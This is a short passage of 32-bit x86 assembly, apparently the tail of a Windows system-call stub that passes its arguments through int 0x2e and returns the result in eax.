lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret